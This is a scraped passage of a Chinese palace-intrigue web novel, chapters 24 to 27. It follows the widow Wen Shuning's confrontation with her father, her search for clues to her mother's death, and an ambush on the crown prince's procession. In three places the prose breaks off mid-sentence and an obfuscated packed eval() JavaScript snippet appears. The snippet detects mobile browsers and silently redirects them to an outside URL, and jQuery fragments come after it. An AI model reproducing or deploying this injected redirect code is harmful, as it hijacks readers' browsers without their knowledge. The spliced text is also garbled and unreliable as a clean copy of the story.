付了银钱也不管李令月是何表情,提着花灯上了马车,李令月见他走了,赶紧拿着花灯追了上去,回去的路上她实在按捺不住问道:“三哥哥,你这个花灯是送给谁的啊?” 他本也没想藏着,她既然问了,那也就如实说了,“给嫂嫂的。” “这,这不合适吧?” 徐言璟看着她,说道:“我还没回来的时候在外面欠了不少银子,是嫂嫂替我还的,我送一盏灯作为感谢有什么不合适?” 他这句话的语气可以说是非常冰冷,李令月被他看的有些慌乱,没想到是因为这件事,显得有些慌乱,“我,我不是这个意思。” “李小姐,我同你是第一次见面,你是女子,应当知晓有些话我不好说的太过,今日是母亲在众人面前开了口,我推拒不掉,不希望还有下次。” 话音落下,马车刚好停下,他下了马车,李令月看着他的背影,决绝又疏离,忍不住红了眼,像是受了极大委屈,走下马车,看着手上的兔子灯,泄愤似的扔在地上踩了两脚,精美的兔子灯瞬间变得面目全非。 徐言璟拿着等一路往玉兰居走去,还没走到门口就听见了里面传来的笑语,他站在门口,看着在一群少女中,温书宁踩在凳子上踮脚想要把手上的花灯往树枝最上面挂,身边的丫鬟围着她,伸手虚扶着,生怕她摔了。 温书宁一手拽着树枝,一手提着纸灯往上面挂,裙摆在晚风的带动下扬起好看的弧度,她猛地一踮脚,终于将花灯挂了上去,跳下来的时候可给霜怜吓到了。 她转身指着高高挂起的纸灯笑盈盈地说:“你们看!” 一句话惹得她们笑出了声,少女的笑声充斥在院落里,像是春日里的黄莺,徐言璟站在院门口,高高的院墙恰好将他挡住,这还是他与她成亲以来第一次见她如此模样,笑得明媚,等到她被人簇拥着进了屋他才走进院子,趁着没人将花灯挂在她的纸灯旁边。 24. 第 24 章 黎朝从诏狱出来后回家里休息了几天才给温书宁去了一封信,希望她能回来吃顿饭,温书宁也按照信上所说的时间去了黎府,一如当初回门,黎朝和时夫人在门口等她,见她的马车在门口停下,两人笑着迎了上去。 温书宁看着黎朝,见他面目精神已然大好,看来在诏狱也没有多遭罪,她笑着打招呼,“父亲,主母。” 黎朝笑着应她进屋,让时夫人去小厨房看看饭菜好了没有。 说句实话,她不是很想跟他们夫妻俩同桌吃饭,但是表面功夫还是要做,饭菜上桌的时候时夫人一直在给她夹菜。 “宁儿,要不是有你在,你父亲还不知道要在诏狱那种鬼地方遭多少罪呢,多亏了你了,来,多吃点,也不知道你爱吃些什么菜,就让小厨房按照你姐姐喜欢的菜品去做了,你同你姐姐差不了几岁,口味应当差不多。” 温书宁看着碗里的菜,没有一样是自己喜欢吃的,很显然时夫人是知道她喜欢吃什么菜的,现在这样无非就是故意的。 “没错,你多吃些,别浪费了你主母的一番心意。”黎朝也在旁边说着。 她看着碗里的鱼肉实在是没什么胃口,但还是笑着应声:“谢主母。” 时夫人笑着,俨然一幅良母的模样,关心她在宫里怎么样,有没有见到黎初意?她笑着回应,说见过一次,姐姐担心父亲的情况,寻她问问。 这一句话可叫黎朝感动死了,“难为意儿在宫里还因为我的事情担心,你过几日进宫看看她,叫她别担心我。” 时夫人连连说好。 温书宁瞧着只觉得好笑,还担心他呢,黎初意只担心他的事情连累了她的宫里的恩宠,吃着碗里的鱼肉,剩下的菜怎么叶吃不下去,喝了一碗汤便说吃饱了,黎朝也放下筷子说有事情要同她说,两人就去了书房。 黎朝的书房很大,书也很多,放了满满一整墙,上面还挂着“清正廉洁”四个大字的牌匾,温书宁瞥了一眼,他除了不敢贪污谋逆,其他的事情哪一件算得上清白? 黎朝在书桌边坐下,倒了杯茶递给她,语气略深沉,“宁儿,徐言璟病故已有四个月,你可曾想过和离啊?” 温书宁刚要去伸手拿茶盏,闻言收回了手,“父亲此话何意?” “就是问问,你别多想。” “没有想过,婚姻不是儿戏,父亲既已将我嫁给了徐言璟,那我就不会离开,况且我早已说过不会和离,徐家上下都知道,父亲此话是将我的信誉置于何地?”她反问,言辞温和却犀利,全然不复当初那般怯懦胆小。 见她如此强硬,黎朝忽然有些心虚,轻声问道:“当初我让你给御史台张大人的字条你可看了?” “没有,也没送。” 闻言他才松了口气,连说了好几声“没送就好”,而后又劝道:“你还年轻,总不能守着一块牌位青灯古佛过一辈子,我观摩着锦衣卫的纪大人还不错——” 他的话还没说完温书宁就叫停了他,“父亲,慎言!纪大人乃是陛下的亲卫,你原先将我嫁给徐言璟冲喜本就引得京中权贵们的不满,后又让姐姐入宫,您已是站在了风口浪尖上,在旁人看来您已经是站在了二殿下这边,如今又想攀上纪大人这根高枝,父亲的脑袋还要不要了?” 她在宫里的那段时间没少听见太子和二殿下的事情,太子行事狠辣,做事决绝,二殿下虽然年纪小,但陛下让他掌管督卫司从未出过差错,做人做事都留有余地,虽然陛下已经立了太子,但依旧有不少人站在二殿下这边,毕竟徐家手上握着的一半兵权是实打实的,若是二殿下想要争这太子之位,徐家定当不遗余力相帮。 可太子背靠花家,太后和皇后皆是出自花家,花家又是世家之首,如今朝堂上有至少一半的人都是花家的或是花家引荐为官,若是真斗起来二殿下不一定能赢,他们总不能把世家之人全部杀光吧? 黎朝微怔,立即反驳,“我……我是中立!” “自古争未来大统之位,何来中立一说?”她轻笑,“父亲为官几十载,怎么这么天真?” 她不知父亲是不是当官儿当糊涂了,竟看不清朝堂的局势,还在这儿做梦。 “那又如何?你就算跟纪大人不成,当个朋友也是好的,俗话说的好,多个朋友多条出路,若是将来将军府倒了,你也好有个去处。”他还是想试探一下她对纪叙明的态度,毕竟他在这个刑部供职已经十几年了,他还想再往上升一升。 “父亲别想了,我是不会跟徐言璟和离的,父亲告辞。”她站起来就往外走。 “你站住!”黎朝立刻喝住她,“你对我就是这个态度?眼里还有没有我这个父亲?” 温书宁收回跨出门槛的脚,转身往回走了两步,冷声质问:“我从小与母亲一起生活,在日子最难最苦的时候,在我被学塾孩子们嘲笑没有父亲的时候,在母亲中毒去世的时候我可从来没有见过什么所谓的父亲,恕女儿僭越,敢问什么样的父亲会在女儿母亲的丧期把她嫁给一个即将去世的人冲喜,只为攀附权贵?” “母亲在你走之后的每一天都在等你,可等到了什么?等到你娶妻生子,她一个人苦熬十几年,守着一个你会回来接她的承诺最后死在了那个小房子里,母亲几乎每天都在告诉我,说我有一个世界上最好的父亲,我原是相信的,但是自从入京之后我每时每刻不在怀疑母亲的这句话,我觉得她可能是记错了,也可能是在骗我,你不仅不配为人父,更不配为人夫。” 面对她一声声的质问,黎朝显得有些无措,脑海里走马灯一般回想着在扬州的那半年,与韵娘的半年,最后木讷问道:“什么中毒?韵娘不是生病了在养病吗?” 温书宁气上心头,看着他的这副模样只觉得一阵恶心,头也没回地出了黎府,坐上回去的马车,在马车上终于还是忍不住哭了出来,哭声淹没在帕子里,眼泪像玉珠散落,砸在衣裙上。 每当她想到母亲就会心酸流泪,她不想去回想,但那段记忆就像是活过来一样在她脑子里转圈,让她不得不回想过往那些美好的时光。 马车在徐府侧门停了许久她才平复好心绪下车往院子里走,只是在路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006571|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过小角亭的时候看见了坐在亭中的徐言璟,两人隔着一段距离,她本想装作没看见,岂料对方朝这边走了过来。 “怎么了?”徐言璟在她面前站定,目光灼灼看着她的脸,白皙圆润的脸上挂着两条浅淡的泪痕。 她强颜欢笑,问道:“没事,你怎么在这里?” “今早跟同僚们在春满楼吃了酒菜,现在刚回来,想着这里风大,醒醒酒,不巧碰到了。” 那确实挺巧的,温书宁觉得他应该是知道父亲从昭狱出来的消息,自己也刚从黎府回来,说起来这件事情还多亏了他,若是是他自己还见不到裴亦欢。 “对了,多谢你查明案情还我父亲清白,”她琢磨着该以何谢之,看到他腰间空空,忽然想到她刚嫁进来时父亲准备了一块玉料,她正琢磨着做什么用呢,“我那里正好有一块上好的羊脂玉料,晚些时候我差人给你送去。” “你我之间,本就是一家人,不必言谢,”徐言璟看着她,“我现在就有空,正好取了来,免得让你身边伺候的人多跑一趟。” 她想了想,觉得也好,便一同去了玉兰居,徐言璟站在外院门口等着,温书宁进屋从箱笼里拿出了那块拳头大小的玉料,雕刻大件不行,但是雕个玉佩还是绰绰有余的。 她抱着盒子出门,蓦然瞥见树枝上挂着的两盏小猫纸灯,脚步停在原地,为何树上会多出一盏? 来不及细想,不好叫人等太久,将玉料交给徐言璟后折返回院内,站在树下看着树上的两盏灯,她的画技不是很好,什么东西只能画出个五六分相似,但旁边的那盏,画技可谓是出神入化,连左耳耳尖上的一点黑都画出来了,这只猫是在梧桐巷蹭吃蹭喝的野猫,若不是同样在梧桐巷生活过,便几乎不可能看见它。 是谁? 究竟是谁? 霜怜从小厨房走来,站在廊下瞧见她,“少夫人站在那里做什么?现下入秋了天气慢慢转凉,可别又病了。” “这就进去了。”温书宁一边应声一边往屋子里走去,问道:“那里怎么会多出一只狸猫样式的花灯?” 霜怜仰头看向杏树上,果然在温书宁做好的纸灯旁边有一盏模样可爱的狸猫花灯,花灯下方的红色穗子迎风摇摆,看起来十分漂亮,“我也不知道,可能是院子里哪个丫鬟买来挂在上面的吧。” 温书宁点点头,不疑有他,坐在窗下也不知道干什么,索性将书柜上徐言璟生前看的话本拿出来看,秋风萧瑟,落叶被风卷着送出数米远,看着话本中的故事,仿佛周围的一切都停止了运作,只有故事里的人鲜活有力。 故事讲的是在宋朝时期有个富商,他娶了宫里的公主,和公主生了个女婴,可惜女婴在三岁的时候夭折了,自此之后公主每日以泪洗面,不到半年便也撒手人寰,富商心痛不已,捐了所有的钱财上山剃度当了和尚,他们的女儿喝了孟婆汤,过了奈何桥,转世到了六百年后。 故事还没讲完,后面的一大半都是空白的,温书宁回过神,看着空白的纸张发愣,好一会儿才喃喃自语:“好奇怪的故事。” 25. 第 25 章 在将军府住了小半月,嘉贵妃送信来提醒她该回宫了,于是辞别徐将军和赵夫人在晌午之前就上了进宫的马车,连午饭都没有在家吃。 信上说太子改了行程,这几日就回来了,嘉贵妃希望她能尽快在太子面前露脸,她不是很情愿,这在她看来这种事情随便找个人就能做,可为什么偏偏找上了她? 嘉贵妃并不满意她嫁给徐言璟,若太子当真因为一块帕子将她误认,保不齐会让她入东宫,做个侧妃也好,当个淑女也罢,定不会让她继续守寡,那么对于嘉贵妃来说,那就相当于在太子身边放了一枚棋子,若哪天东窗事发,太子一怒之下把她杀了对于嘉贵妃来说也只是一棵参天大树落了一片叶子而已,当真是一石二鸟的好计策。 若不是母亲之事还需要嘉贵妃的助力,她定然绝不同意当这个女官! 怀揣着不安的心进了皇宫,第一时间就是去了永和宫拜见嘉贵妃,永和宫正宫很大,伺候的宫女奴才们都有五六十人,都在各自忙着手头上的事,温书宁站在永和宫门外,嬷嬷进去通传好一会儿才出来。 “黎司记,实在不巧了,娘娘刚歇下,要不然你先回去?” 温书宁心里清楚,这哪里是什么睡着了,分明就是有意晾着她,要是真听嬷嬷的回去了才是蠢笨。 她笑了笑,说道:“无妨,我在这里等娘娘醒来。” 嬷嬷看着她,转身进了殿内,隔着一道珠帘,嘉贵妃卧在矮榻上,轻抚着怀里的小狸奴,瞥了眼窗外,看见了站在殿外清瘦单薄的那道身影,语气颇为随意,“她不走?” 嬷嬷弯腰,“是,说要等娘娘睡醒。” 嘉贵妃深吸一口气,面色不悦,“璟儿十三岁便上了战场,功勋无数,从无败绩,若不是天妒英才,别说县主郡主,就是宫里的公主也娶得,就算是冲喜,京中高门大户的女儿哪个配不得?竟娶了这样一个丫头做夫人,爹娘当真是瞎了眼,也不知挑拣挑拣。” 嬷嬷见她气儿不顺,忙说:“娘娘莫气,等太子殿下回来定能让她跟二公子和离。” 闻言嘉贵妃忽然问:“璟儿走前是不是给了她一封和离书?” “给是给了,但被黎司记撕了。” 嘉贵妃说这,忽然想了想,吩咐道:“你去把璟儿身边用惯了的几个小厮找来,就说本宫有话要问,趁夜来,别让她知道了,让她回去吧,看见就心烦。” “是。”嬷嬷领了命,转身出去了。 温书宁还在院子里站着,腿脚都有些麻木了,估算着时间约莫过去了半个时辰,娘娘该醒了,她看着紧闭的殿门被打开一条缝,嬷嬷走出来轻手轻脚地关了门,快走两步站在她面前,“娘娘忽犯头疼,起不来,叫黎司记不必等了,回去吧。” 既然是嘉贵妃的意思,那她便离开了,回到小棠园就看见长盈还在整理卷宗,她忍着腿痛走过去,“上次不是都看完了?怎么还有这么多?” 长盈见她回来先是一喜,而后苦了脸,“还不是林司记,她告了半个月的假,这些就都送来了这里,说是等着您回来处理。” 温书宁闭着眼直叹气,叫长盈收拾好放在书房,自己一瘸一拐地进了屋子躺在床上开始装死,双脚的疼痛一时半会儿没有缓过来,只发疼,长盈看见她走路的模样赶紧收拾好书端来了一盆热水。 “司记,泡泡脚吧。” 温书宁睁开眼坐起来,发丝黏在脸颊上,她胡乱拨开,双手撑着膝盖,问道:“长盈,你说,太子殿下真的那么吓人吗?” “嗯!可吓人了,听说每年从东宫抬出去的尸体没有五十也有一百了,您说,犯了什么事儿能叫人一个月杀死那么多人啊?而且——”她凑近了小声说:“太子殿下有病。” 温书宁捂住嘴,“你胆子好大,太子殿下的私事你也敢说。” 长盈抿唇,“我也就是跟您私下说,也不会傻到跟外人说。” “这样的话你再跟我说说,太子殿下得了什么病啊?” “这个不清楚,只知道每月初一和十五都会犯癔症,时间短的话就只有几个时辰,长的话有两天呢,每年太子殿下发病前都会把自己锁在冷宫,谁也不让探视。”长盈说着浑身激灵了一下。 温书宁把脚从盆子里拿出来用帕子擦干,“那是挺可怕的,难道陛下和皇后娘娘就没请太医来看?” “看了没用,殿下平日里也不发病啊,身体康健着呢,唯独那两日,”长盈端着水盆往外走,声音远远传来,“跟着了魔似的。” “啊!”温书宁大叫一声:“快些住嘴,这个可不能说,在宫里呢。” 长盈回过味来自觉说了什么话,也是后背一惊,“呸呸呸!” 傍晚的时候小棠园门口莫名出现了一个食盒,长盈把卷宗归类好放在书桌上,出门时发现了这个食盒,提着沉甸甸的,“司记,您点了春满楼的饭菜吗?” 皇宫有条细窄的宫道专门用来供货,宫里的娘娘吃惯了宫里的才就会差人从宫外带吃食进来,只是温书宁并未点过。 她搁下笔揉着脖子伸了个懒腰,看着长盈提进来的食盒,问道:“我没点啊,不过你怎么知道是春满楼的?” “闻到味儿啦,自从上次您带我去过之后我就一直想念呢,没想到今天又吃到了。”她笑嘻嘻地打开食盒盖子,将里面的菜品一一拿出来摆放在桌上,在最下面看见了一张字条,她把字条拿出来递给温书宁,“这里有张字条,既然不是您点的,那那肯定是别人给您点的,谁呀?” 温书宁拿着字条上面写了一句话:春满楼新品,嫂嫂吃好,入秋天渐凉,勿忘添衣。 落款是一个‘秋’字。 长盈想要凑过来看,被挡了回去,她将纸条捏成团放在桌上,“徐枕之送的,他大概是听说春满楼出了新品,特意送来的吧,快尝尝味道怎么样。” “小公子真好。”长盈乐呵呵地吃着,忽然问道:“我听说魏夫人把娘家妹妹的女儿接到府里来啦?” 温书宁点了头,“嗯”了一声,“霜怜跟你说的?” “是啊,霜怜姐姐说估摸着是想给小公子议亲呢。”长盈一边吃一边说,“不过我觉得老夫人肯定不会同意。” “为什么?” “魏侍郎子女众多,魏夫人排行第五还是个庶出,当年二爷议亲的时候老夫人看中的本是张将军的独女,谁知在议亲的前两日竟然传出魏夫人与二爷有染,那段时间流言满京城乱飞,跟张小姐的议亲也没了指望,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015765|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了堵住悠悠众口老夫人不得已上魏家提亲,让二爷娶了魏夫人,魏夫人入府两年也没有孩子,二爷便动了休妻的念头,可魏夫人哪里愿意,就这样吵吵闹闹过了两年。”长盈叹了口气。 温书宁听得入迷,未曾想过还有这样一层原因在里面,“那秦夫人的孩子是怎么回事?二爷那时候既然要同张家小姐议亲,为何又跟秦夫人生了孩子?” 长盈想了想,说:“二爷早已与秦夫人心意相通,无奈秦夫人身份低微,入府做正妻是万万不能的,二爷便在外面给秦夫人安置了一套宅子,每日看完了铺子的账簿就去那宅子里,老夫人给二爷指的亲事他一概不要,一拖便拖了好些年,就算是前两年跟张小姐的议亲二爷也是没打算去的,谁料想出了那样的事?魏夫人入府后二爷曾想过纳秦夫人入府做妾,可魏夫人不愿意啊,只要二爷提纳妾她便要死要活。” “要不是年初魏夫人闹的那一通没准儿秦夫人现在还在外头宅子里住着呢,哪儿能入府做平妻?魏夫人这也算是搬起石头砸自己的脚。” 温书宁静静听着,说起以前的事情难免会想起徐言璟,长盈继续说:“所以老夫人很不喜欢魏夫人,连带着也讨厌魏夫人娘家,怎么会还让小公子娶李小姐呢?” “你在宫里怎么会知道这么清楚?” 长盈说:“当然是我娘告诉我的。” 温书宁这才想起来嘉贵妃说过长盈的母亲是赵夫人身边伺候的嬷嬷。 主仆两人边吃边聊,天色很快暗下去,长盈收拾了桌上的碗碟,出去给檐下的灯笼点亮了,温书宁躺在床上怎么也睡不着,自从白天进宫前想明白了嘉贵妃的用意,忽然就不想那么累,桌上的案卷也不想看,索性让它堆在那里,也不看,也不批注,每天去永和宫请安后就去尚宫局待一上午,晌午吃完饭回来就躺着睡觉。 这天,她正睡着,忽然想起上次去梧桐巷时桥对岸的那家香料铺子关了门,她家可是一年四季都开着门做生意的,灵光一闪立即换了衣裳出宫。 长盈是嘉贵妃给她的,有些事情能说,但有些事情只能自己去做,拿着嘉贵妃给的令牌进出宫门就简单多了,她租了辆马车往城外跑去。 恰好徐言璟在这边巡视,瞥见了被风吹起的车帘,少女的侧脸露了出来,他怔愣一瞬,正要调转马头追上去,后又觉得不妥,便吩咐身边的人追上刚才出城的那辆马车。 有什么事情值得她这般匆忙出城? 回到大理寺把宋钰和陆禹的案子归档做好整理呈上御案,陛下过目后甚是满意,夸赞了他好几句,还将保护太子回宫的安全事宜交给他,徐言璟叩谢圣恩出了宫,回到大理寺就看见容修躺在榻上假寐,听见开门的动静他眼睛也没抬,问道:“陛下夸你了?” 徐言璟“嗯”了一声坐在桌案前看着往日的卷宗,容修坐起来,藏蓝色的长衫在他身上堆堆叠叠好几层,圆领口的暗扣松散,“事情办的这么漂亮,得了什么赏赐?” “赏我保护太子回宫的安全。” 容修立刻下榻三两步走到他面前坐下,“这个好啊,陛下这是看重你,太子即位是迟早的事情,若当真在回宫的路上遇到歹徒,你在太子面前露了脸,何愁日后没有加官晋爵的机会?” 26. 第 26 章 话虽如此,可他毕竟是徐家人,徐家还有位贵妃在宫里,如今朝野上下谁人不知贵妃娘娘想替二皇子争这储君之位? 陛下此举无疑是在告诉他,不要偏帮。 他抿了口茶,悠悠道:“罢了,且看吧。” - 寿康宫。 一个奴才跌跌撞撞地朝殿内跑来,不慎被绊住了脚摔在地上,正巧就伏跪在了太后面前。 “太后娘娘,结……结案了!” 太后身着华贵冠服,身后的嬷嬷正在给她揉着太阳穴,见这样一个没规矩的奴才冲进来当即走上前扇了一巴掌,“狗奴才,当心冲撞了娘娘,十个脑袋都不够你砍的!” 小奴才立即磕头,嘴里不住地喊“娘娘饶命”,地面很快就染上了血迹,太后这才睁开眼,蹙着眉有些烦躁地挥挥手,“行了,结案了便结案了,陛下早已与哀家说过,出去吧。” 那小奴才如蒙大赦,连滚带爬地出去了。 太后深深叹了口气,问道:“陛下给徐家那小子安排的什么差事?” 伺候的嬷嬷说:“听说是大理寺少卿,上任第一天陛下就把这案子交给他了。” “徐家对帝王还真是忠心耿耿,走了一个徐言璟又来一个徐枕之,”太后状似无奈地道:“徐言璟征战沙场,有个好歹那是天命,这徐枕之如今在朝堂,可叫哀家头疼。” 嬷嬷点了安神香,又端来一杯茶,“娘娘莫忧心,奴婢早着人打听过了,那徐枕之不过是个绣花枕头,认回徐家之前还是个流连烟花柳巷的浪荡公子,这种人,最是好对付了。” 太后“嗯”了一声,“太子近日就该回来了吧?” “是。” “太子这次回宫的安全还是锦衣卫负责吗?”太后问。 嬷嬷说:“不是,陛下把这件事交给了徐枕之。” 太后顿了片刻,忽然笑了起来:“看来即便徐言璟死了陛下也还防备着徐家和嘉贵妃。” “娘娘,此次岂不是天助?”嬷嬷弯腰附耳小声道:“若是太子殿下在这次回宫中有个什么闪失,陛下定然会重罚那徐枕之。” “不可!”太后说:“太子万不可有事!” 嬷嬷详细说:“娘娘疼爱太子殿下,自然不会叫殿下真的受伤,咱们的目标是徐枕之,自是趁乱将他给杀了最好。” 太后转动手里的珠串,闭上眼连说了好几声“阿弥陀佛”才点了头,“这件事就交给你了,去宫外找些手段干净利落的,如今徐将军回来了,别叫他抓住了尾巴。” - 扬州城,梧桐巷。 温书宁下了马车直奔那家香料铺子,上面的铁锁已经生了锈,大门两侧的杂草也许久没有清除,长了有半人高,看着锈迹斑斑的门锁,她取下手上的发簪插入锁眼轻轻转动,反复弄了许久也没见锁有弹开的迹象,索性作罢,环顾四周,看见旁边堆积着石头不得已只能翻墙进去,这里的院墙没有将军府的高,但若是站在上面也是颇为吓人,她干脆全程扒着墙进去,眼睛都不敢睁大。 这家香料铺子的前院后院都是晾晒香花的地方,还有许多晒香料用的架子东倒西歪,温书宁站在院子中间,环视着四周,看着大大敞开的正屋门,里面同样混乱不堪,她抬步走了进去,桌子上有飞溅的鲜血,蒙上了一层薄薄的灰尘,显得发黑暗淡,桌上的瓷器茶盏摔在地上碎成无数片,床幔被撕扯下一大片,也沾染上了血迹,整个房间像是进过强盗似的。 母亲的死果然不是意外。 她从房间走出来直奔后院,这家夫妻有个女儿,跟她一般大,小时候经常一起玩,后院的花房旁边有一个狗洞,只能容纳瘦小的孩童和身材纤细的女子进出,房间里的血迹不多,肯定没有死人,或者是没有死在房间里。 站在那个狗洞前,粗糙的墙面上挂着鲜艳的衣裳布料,因为时间过长,有些粗糙,温书宁蹲在那里,伸手将那布料取下来用帕子包裹着,上马车回京去琼楼找容修。 此时已是天色渐暗,楼中歌舞升平,推杯换盏之间温书宁一身素衣站在其中格外显眼,她不是来消费的,也没有送拜帖,只能找上回看见的那个小厮,“你们东家在吗?我要见他。” 小厮一看是她便说:“东家今天不在,不过小娘子可以去楼上稍作休息,我这就去信我们东家。” 小厮说完转头就去拿信纸和笔墨准备写信,温书宁是在不好特意打扰人家,便说:“不用麻烦了,我明日再来也是一样的。” 其实明日到底能不能出来还是一回事,毕竟从京城到扬州城再回来耽误了不少时间,估摸着太子回宫就这两天了,宫里都在为太子回宫一事做准备,虽说嘉贵妃允许她随意进出皇宫,可也不能太过放肆。 “没事,小娘子放心,东家早就吩咐过了,说只要小娘子来,若恰逢他不在就去信,不出半个时辰定能回来。”小厮将信纸塞进竹筒里用红绳绑在屋檐下的信鸽腿上,看着信鸽远非,他领着温书宁上了二楼。 二楼这处的观景非常好,能够将万家灯火一览无余,温书宁站在那里愣愣看着,眉梢染上了些许落寞之色,心事重重无法纾解。 每每回想往事总是在想,若自己并非父亲的孩子就好了,这样母亲就不会死,她也不会在京城孤苦无依成了最年轻的寡妇。 灯火摇曳,晃动着她的裙角,发髻上的翠绿发带随着微风飘动,显得她的背影更是孤寂。 这边,容修坐在晚香园的住屋里,信鸽落在窗台上,扭头啄着尾巴尖儿,一双手指修长的手取下信鸽腿上的竹筒,将里面的信纸拿出来,片刻后他朝着对面的人微微一笑,“言璟兄不妨猜猜,这纸条上写了什么?” 徐言璟头也不抬,抿了口茶,“这么喜欢让人猜,改明儿让你专程去做那西街上猜灯谜的贩儿。” 容修哼笑:“那行,用不着你猜了,你随我同去。” “不去,天黑了,我该睡了,慢走不送。” “骗鬼呢?现在什么时辰,你能睡得着?”容修起身往屋外走,在门口停住脚步,意有所指地说:“这天确实黑了,也不知道那黎小娘子回来的话安不安全?琼楼离城略远,若是半路遇上了匪徒——” “走吧,我同你去。”他话音未落徐言璟就站起来披上衣裳站在了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027404|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前。 容修将他上下一打量,调侃道:“不是要睡觉了吗?” “睡不着。” 府门已经关了,两人从侧门出去,街上的灯火渐暗,行人越来越少,直直穿过朱雀街,到了琼楼,温书宁已经等的有些久了,茶都喝了两盏,看着迟迟没到的容修和渐渐离去的客人她觉得自己应该走了,于是起身推开了门,不巧正与上楼的徐言璟和容修撞了个正着。 看见徐言璟她很意外,问道:“你怎么来了?” 虽说他的年龄比她要大些,可到底自己是他的长辈。 徐言璟还没来得及开口容修便说:“曾经在赌坊见过几面,当时若不是枕之兄借我银子我还出不来呢,少不了一顿毒打。” 温书宁对徐枕之的了解不多,于是也信了他说的话,三人就这么一人站在门口,两人站在楼梯上讲话,容修问:“嫂夫人这是要走?” 温书宁说:“我等很久了,还以为今晚见不到你了,索性先离开,我在桌上留了信。” 容修往房间走去,桌上的茶盏下果然压着一张字条,上面用娟秀整洁的小楷写着“今日天色已晚,许是等不到容东家,故留信条他日再来拜会”。 他将字条收入袖中,“嫂夫人请坐。” 温书宁又坐回了椅子上,从袖中拿出帕子放在桌上,说道:“我有一个邻家姐妹,三月时家里遭遇劫匪强盗,或许是劫匪强盗,也可能不是,前两日我去她家中看过了,屋子里有血迹但是不多,我想应当是没有死人的,我在后院的狗洞附近找到了这片衣料。” 容修看着,问道:“嫂夫人是想找到这个人?” 温书宁点头,急切道:“我知道可能会有些难找,但是拜托你了。” 靠一片布料找人这可不是有些难,更何况还是几个月前,容修看向身边的徐言璟,见他的目光一直看着温书宁,便知道他这是想帮,于是答应了,“行,不过不保证一定能找到,嫂夫人要做好准备。” 温书宁起身,摘下发髻上的钗子递给他,“今日出门着急,我没有带银钱,这支钗子做定金,待容东家找到了人,我一连上回找书的银钱一起结了。” 徐言璟杵在这里,他哪儿敢收?就连上次那本诗集也是找了不少人临摹了一本最像的给她,说起来还心虚呢。 “嫂夫人不用客气,”他将金钗推了回去,“相信嫂夫人也知道,当年若非是言璟兄救下我,我恐怕已经死了,都来不及报恩他便病故了,实在叫我心里难安,如今嫂夫人有事找我又岂能收钱?” 每逢从别人口中听见徐言璟她总会低头垂眼沉默片刻,复而才抬头,“既然如此,那便多谢容东家了。” 徐言璟自始至终没有说一句话,从琼楼出来后就跟在温书宁身后不远处走着,月光将两人的影子拉长,直至重合,当年从扬州离开后就没想过还能再见到她,但也没想到她不记得自己了,也可能是当时的病的太难看了,她才没认出来。 成婚以后的每一天对他来说都非常宝贵,宝贵到他不想死,他想活着,哪怕到了弥留之际他也想在见一见阿水。 他的阿水。 27. 第 27 章 太子回宫这天下起了大雨,轿撵自成门口进入朱雀南街,太子是替天下百姓去太庙祈福,如今回来百姓们自然是夹道相迎,即便是下雨天人数也是不减反增,长长的仪仗队绵延百里,声势十分浩大。 徐言璟撑着伞跟着轿撵走,雨落在伞面上噼里啪啦地响,右手搭在腰间的刀柄上,时时刻刻警惕着周围。 太子端坐着,帽子上的珠串碰撞,发出沉闷的声音,他侧头看向跟着轿撵的人,随口问道:“你是谁?叫什么名字?” 徐言璟微微垂首,恭敬答道:“回殿下,臣是新上任的大理寺少卿,徐枕之。” 太子的脸上没有什么表情,晃悠悠坐直了身体,“纪叙明呢?怎么不是他?” “纪指挥使有要务在身,陛下便派微臣护殿下回宫安全。” 往年都是纪叙明护驾,如今换了人,还有些不太习惯,太子问:“徐家的人吾都认识,以前怎么没见过你?” 徐言璟抿抿唇,对于徐枕之的身世他实在是羞于启齿,可既然太子问了,也不能隐瞒,“臣是徐家二房之子,从前一直跟随母亲生活,不在徐家,数月前才随大伯从凉州回京,故而殿下未曾见过。” 他说的含糊,太子睨了他一眼,声音极小,“原来还是个武将,难怪父皇会让你来护驾。” 话音刚落下便听见‘嗖’地一声,一支冷箭划破虚空擦着太子的鼻梁直直插入侧面的轿撵木头里,几个手持长剑弯刀的男子穿着布衣从人群中冲出来,霎时间百姓们尖叫四散,不过片刻街道上便只剩下太子回宫的仪仗队和刺客,雨还在下,打湿了他们的衣裳。 徐言璟抽出腰间的弯刀,做防御状,雨水顺着发丝布满了他的脸,从下巴滴落在地上,他扫视着这些人,不是专业的刺客,想来也没想过真的杀害太子。 “谁派你们来的?”他冷着脸问。 把他们围在一起的其中一个男子说道:“少废话,受死吧。” 